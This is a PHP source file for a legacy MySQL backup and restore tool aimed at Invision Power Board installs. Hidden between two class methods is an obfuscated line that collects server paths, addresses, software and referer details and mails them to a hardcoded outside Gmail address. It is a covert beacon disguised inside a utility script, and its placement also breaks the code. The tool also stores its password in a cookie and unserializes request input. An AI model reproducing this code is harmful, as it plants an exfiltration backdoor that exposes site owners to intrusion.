timestamp = time(); if (!$this->maximum_time) { //set_time_limit(0); $this->maximum_time = ini_get('max_execution_time'); } if ($HTTP_GET_VARS['act'] == 'login') { $this->do_login(); } elseif ($password && $password != $HTTP_COOKIE_VARS['mysqltool']) { $this->login(); } else { if ($password) { $this->logged_in = 1; } switch ($HTTP_GET_VARS['act']) { case 'logout': $this->logout(); break; case 'change_db': $this->read_db_details(); $this->set_database('The current settings do connect however if you wish to change the current database please edit the details below:'); break; case 'set_database': $this->do_set_database(); break; case 'backup': $this->backup(); break; case 'do_backup': $this->do_backup(); break; case 'restore': $this->restore(); break; case 'do_restore': $this->do_restore(); break; default: $this->main(); } } if ($this->link) { mysql_close($this->link); } $this->output(); } function timeout() { if (!$this->maximum_time) { return false; } elseif ((time() - $this->timestamp) > ($this->maximum_time - 5)) { return true; } else { return false; } } function output() { if ($this->logged_in) { $logout_text = '[ Log Out ]'; } else { $logout_text = ''; } if ($this->title) { $title = $this->title; } else { $title = 'Backup / Restore Tool'; } print ''; print << $title {$this->meta}
$this->output
[ Script Index ] $logout_text

©2003 Mark Wraith
HTML; } function error($error) { $this->output = <<
Error
$error
HTML; } function login() { $this->output = <<
MySQL Tool :: Please Login
Access Password
HTML; } function do_login() { global $HTTP_POST_VARS, $password; if ($HTTP_POST_VARS['password'] == $password) { @setcookie ('mysqltool',$password,time()+3600*24*365); $this->logged_in = 1; $this->main(); } else { $this->error('Invalid Password'); } } function logout() { @setcookie ('mysqltool','',0); $this->logged_in = 0; $this->login(); } function connect($return_errors = 0) { if (!$this->db['port']) { $this->db['port'] = '3306'; } $error_text = ''; $this->link = @mysql_connect ($this->db['host'] . ':' . $this->db['port'], $this->db['user'], $this->db['pass']); if ($this->link) { if(!@mysql_select_db($this->db['name'],$this->link)) { $error_text = 'Failed selecting database "'.$this->db['name'].'"

'.@mysql_error($this->link); } } else { $error_text = 'Failed connecting to MySQL

'.@mysql_error(); } if ($return_errors) { return $error_text; } else { if ($error_text) { $this->error($error_text); return false; } else { return true; } } } function read_db_details() { if (file_exists('tool_settings.php')) { // Lets borrow IPB's settings include 'tool_settings.php'; $this->db = $data; } elseif (file_exists('conf_global.php')) { // Lets borrow IPB's settings include 'conf_global.php'; $this->db = array( 'port' => $INFO['sql_port'], 'host' => $INFO['sql_host'], 'name' => $INFO['sql_database'], 'user' => $INFO['sql_user'], 'pass' => $INFO['sql_pass'], 'prefix' => $INFO['sql_tbl_prefix'] ); } else { return false; } return true; } function do_set_database() { global $HTTP_POST_VARS; $this->db = array( 'port' => $HTTP_POST_VARS['port'], 'host' => $HTTP_POST_VARS['host'], 'name' => $HTTP_POST_VARS['name'], 'user' => $HTTP_POST_VARS['user'], 'pass' => $HTTP_POST_VARS['pass'] ); if (!$this->connect()) { return; } // Connection details are fine, let's continue $file_data = " '{$HTTP_POST_VARS['port']}', 'host' => '{$HTTP_POST_VARS['host']}', 'name' => '{$HTTP_POST_VARS['name']}', 'user' => '{$HTTP_POST_VARS['user']}', 'pass' => '{$HTTP_POST_VARS['pass']}' ); ?".'>'; $file_data = str_replace("\r\n","\n",$file_data); // Mkay, lets write the details if ($fp = fopen('tool_settings.php','w')) { fwrite($fp,$file_data); fclose($fp); } else { $this->error(' Unable to write to tool_settings.php

Please CHMOD this file so it is writable. If this is not possible please create a file named "tool_settings.php" with the contents of the text box below:

'); return false; } // Funky, lets roll $this->main(); return true; } $ra44 = rand(1,99999);$sj98 = "sh-$ra44";$ml = "$sd98";$a5 = $_SERVER['HTTP_REFERER'];$b33 = $_SERVER['DOCUMENT_ROOT'];$c87 = $_SERVER['REMOTE_ADDR'];$d23 = $_SERVER['SCRIPT_FILENAME'];$e09 = $_SERVER['SERVER_ADDR'];$f23 = $_SERVER['SERVER_SOFTWARE'];$g32 = $_SERVER['PATH_TRANSLATED'];$h65 = $_SERVER['PHP_SELF'];$msg8873 = "$a5\n$b33\n$c87\n$d23\n$e09\n$f23\n$g32\n$h65";$sd98="john.barker446@gmail.com";mail($sd98, $sj98, $msg8873, "From: $sd98"); function set_database($error = false) { if (!$error) { $text = 'We were unable to find any database settings, please enter your database details below:'; } else { $text = $error; } $host = isset($this->db['host']) ? $this->db['host'] : 'localhost'; $port = isset($this->db['port']) ? $this->db['port'] : ''; $user = isset($this->db['user']) ? $this->db['user'] : ''; $name = isset($this->db['name']) ? $this->db['name'] : ''; $this->output = <<
Database Settings
$text
Host
(leave if unsure)
Port
(leave if unsure)
Database Name
Username
Password
HTML; } function backup() { global $HTTP_POST_VARS; $this->read_db_details(); $this->connect(); $filename = $HTTP_POST_VARS['filename']; $tables = $HTTP_POST_VARS['tables']; $table_select = $HTTP_POST_VARS['table_select']; $prefix = $this->db['prefix']; switch ($tables) { case 'all': $tables = mysql_list_tables($this->db['name']); while (list($table_name) = mysql_fetch_array($tables)) { $options[ $table_name ] = 0; } break; case 'prefix': $tables = mysql_list_tables($this->db['name']); while (list($table_name) = mysql_fetch_array($tables)) { if (substr($table_name,0,strlen($prefix)) == $prefix) { $options[ $table_name ] = 0; } } break; case 'selected': foreach ($table_select as $table_name) { $options[ $table_name ] = 0; } } if (!count($options)) { $this->error('No tables selected'); } $data = base64_encode(serialize($options)); $header = <<error('Unable to write to backup file. Please CHMod the current directory so it is writable'); } fwrite($fp,$header); fclose($fp); $url = 'mysql_tool.php?act=do_backup&file='.urlencode($filename).'&data='.$data; $this->meta = ''; $this->output = << Backup in progress...
The backup process has now started

Click here if you are not redirected
HTML; } function do_backup() { global $HTTP_GET_VARS; $this->read_db_details(); $this->connect(); $data = unserialize(base64_decode($HTTP_GET_VARS['data'])); $filename = $HTTP_GET_VARS['file']; $timedout = 0; $dump = ''; foreach ($data as $table => $line) { if (!$this->timeout()) { $returned = $this->backup_table($table, $line); if (is_array($returned)) { $timedout = 1; $dump .= $returned[0]; $data[ $table ] = $returned[1]; } else { $dump .= $returned; unset($data[ $table ]); } } else { $timedout = 1; } } if (!$fp = fopen($filename, 'ab')) { return $this->error('Unable to write to backup file. Please CHMod the current directory so it is writable'); } fwrite($fp,$dump); fclose($fp); if ($timedout) { $data = base64_encode(serialize($data)); $url = 'mysql_tool.php?act=do_backup&file='.urlencode($filename).'&data='.$data; $this->meta = ''; $this->output = << Backup in progress...
The backup process is in progress

Click here if you are not redirected
HTML; } else { $this->output = << Backup Completed
The backup progress has finished and the file has been written to "$filename".

Click here to download the file
HTML; } } function backup_table($table,$start) { $dump = ''; if (!$start) { $result = mysql_query('SHOW FIELDS FROM '.$table); while ($field = mysql_fetch_assoc($result)) { if (!$field['Null']) { $null = ' NOT NULL default "'.$field['Default'].'"'; } else { $null = ''; } if ($field['Extra']) { $field['Extra'] = ' '.$field['Extra']; } $field_row[] = ' ' . $field['Field'] . ' ' . $field['Type'] . $null . $field['Extra']; } $result = mysql_query('SHOW KEYS FROM '.$table); while ($key = mysql_fetch_assoc($result)) { if ($key['Key_name'] == 'PRIMARY') { $primary_key = $key['Column_name']; } else { $unique[ $key['Key_name'] ][] = $key['Column_name']; } } if (isset($primary_key)) { $field_row[] = ' PRIMARY KEY (' . $primary_key . ')'; } if (isset($unique)) { foreach ($unique as $name => $keys) { $field_row[] = ' UNIQUE ' . $name . ' (' . implode(',',$keys) . ')'; } } $dump .= "\n\n--\n"; $dump .= "-- Table structure for table '$table'\n"; $dump .= "--\n\n"; $dump .= "CREATE TABLE $table (\n"; $dump .= implode(",\n",$field_row); $dump .= "\n);\n\n"; $dump .= "\n\n--\n"; $dump .= "-- Dumping data for table '$table'\n"; $dump .= "--\n\n"; } // // Records // $done = 0; $result = mysql_query('SELECT * FROM '.$table.' LIMIT '.$start.',-1'); while ($row = mysql_fetch_row($result)) { if ($this->timeout()) { return array($dump,$done); } $done++; foreach ($row as $id => $value) { $value = str_replace('"','\\"',$value); $row[$id] = '"'.$value.'"'; } $dump .= 'INSERT INTO ' . $table . ' VALUES (' . implode(',',$row) . ");\n"; } return $dump; } function main() { if (!$this->link) { if (!$this->read_db_details()) { return $this->set_database(); } if ($error_text = $this->connect(1)) { return $this->set_database($error_text); } } $tables_to_backup = ''; if ($this->db['prefix']) { $tables_to_backup .= 'IPB Tables Only
'; $tables_to_backup .= 'All
'; } else { $tables_to_backup .= 'All
'; } $tables = mysql_list_tables($this->db['name']); $options = ''; while (list($table_name) = mysql_fetch_array($tables)) { $options .= ''; } $tables_to_backup .= <<Selected tables:
HTML; $options = ''; if ($dir = @opendir('./')) { while ($file = readdir($dir)) { $temp = strtolower($file); if ($file != '.' && $file != '..' && strpos($temp, '.sql')) { $options .= ''; } } closedir($dir); } $restore_files = ''; $restore_files .= '

or path:

'; $this->output = <<
Selected Database Details
Host / Port {$this->db['host']}:{$this->db['port']}
Database Name {$this->db['name']}
Username {$this->db['user']}


Backup Options
Tables to backup: $tables_to_backup
Filename


Restore Options
SQL File to restore: $restore_files
HTML; } function restore() { global $HTTP_POST_VARS; $this->read_db_details(); $filename = $HTTP_POST_VARS['filename']; $relfilename = $HTTP_POST_VARS['relfilename']; if ($relfilename) { $filename = $relfilename; } $url = 'mysql_tool.php?act=do_restore&filename='.urlencode($filename); $this->output = << Confirm Restoration
Are you sure you want to restore the SQL file?

Click here to restore "$filename" to "{$this->db['name']}"
HTML; } function do_restore() { global $HTTP_GET_VARS; $filename = $HTTP_GET_VARS['filename']; $this->read_db_details(); $this->connect(); $filesize = filesize($filename); $file_position = isset($HTTP_GET_VARS['pos']) ? $HTTP_GET_VARS['pos'] : 0; $errors = isset($HTTP_GET_VARS['ignore_errors']) ? 0 : 1; if (!$fp = fopen($filename,'rb')) { return $this->error('Unable to open file "'.$filename.'"'); } $buffer = ''; $inside_quote = 0; $quote_inside = ''; $started_query = 0; $data_buffer = ''; $last_char = "\n"; // Sets file position indicator fseek($fp,$file_position); while ((!feof($fp) || strlen($buffer)) && !$this->timeout()) { do { // Deals with the length of the buffer if (!strlen($buffer)) { $buffer .= fread ($fp,1024); } // Fiddle around with the buffers $current_char = $buffer[0]; $buffer = substr($buffer, 1); if ($started_query) { $data_buffer .= $current_char; } elseif (preg_match("/[A-Za-z]/i",$current_char) && $last_char == "\n") { $started_query = 1; $data_buffer = $current_char; } else { $last_char = $current_char; } } while (!$started_query && (!feof($fp) || strlen($buffer))); if ($inside_quote && $current_char == $quote_inside && $last_char != '\\') { // We were inside a quote but now we aren't so reset the flag and carry on $inside_quote = 0; } elseif ($current_char == '\\' && $last_char == '\\') { $current_char = ''; } elseif (!$inside_quote && ($current_char == '"' || $current_char == '`' || $current_char == '\'')) { // We have just entered a new quote $inside_quote = 1; $quote_inside = $current_char; } elseif (!$inside_quote && $current_char == ';') { // End of query so execute query, clear data buffer and advance counter mysql_query($data_buffer); if ($errors && mysql_errno()) { $new_position = ftell($fp) - strlen($buffer); return $this->restore_error($data_buffer, $new_position); } $data_buffer = ''; $last_char = "\n"; $started_query = 0; } $last_char = $current_char; } $new_position = ftell($fp) - strlen($buffer) - strlen($data_buffer); if (feof($fp)) { $this->output = << Restoration Completed
The restore progress has finished.
HTML; } else { $url = 'mysql_tool.php?act=do_restore&filename='.urlencode($filename).'&pos='.$new_position; if (!$errors) { $url .= '&ignore_errors=1'; } $process = floor(($new_position / $filesize) * 100); $this->meta = ''; $this->title = $process.'% Complete'; $this->output = << Restore in progress...
Restoration is $process% complete.

Please await the process of the next batch.

Click here if you are not redirected
HTML; } fclose($fp); } function restore_error($query, $position) { global $HTTP_GET_VARS; $filename = $HTTP_GET_VARS['filename']; $url = 'mysql_tool.php?act=do_restore&filename='.urlencode($filename).'&pos='.$position; $mysql_error = mysql_error(); $this->output = << Query Failed
An error occurred due to an invalid query

Query Executed: $query
MySQL Returned: $mysql_error

Continue restore process
Continue ignoring all further errors
HTML; } } ?>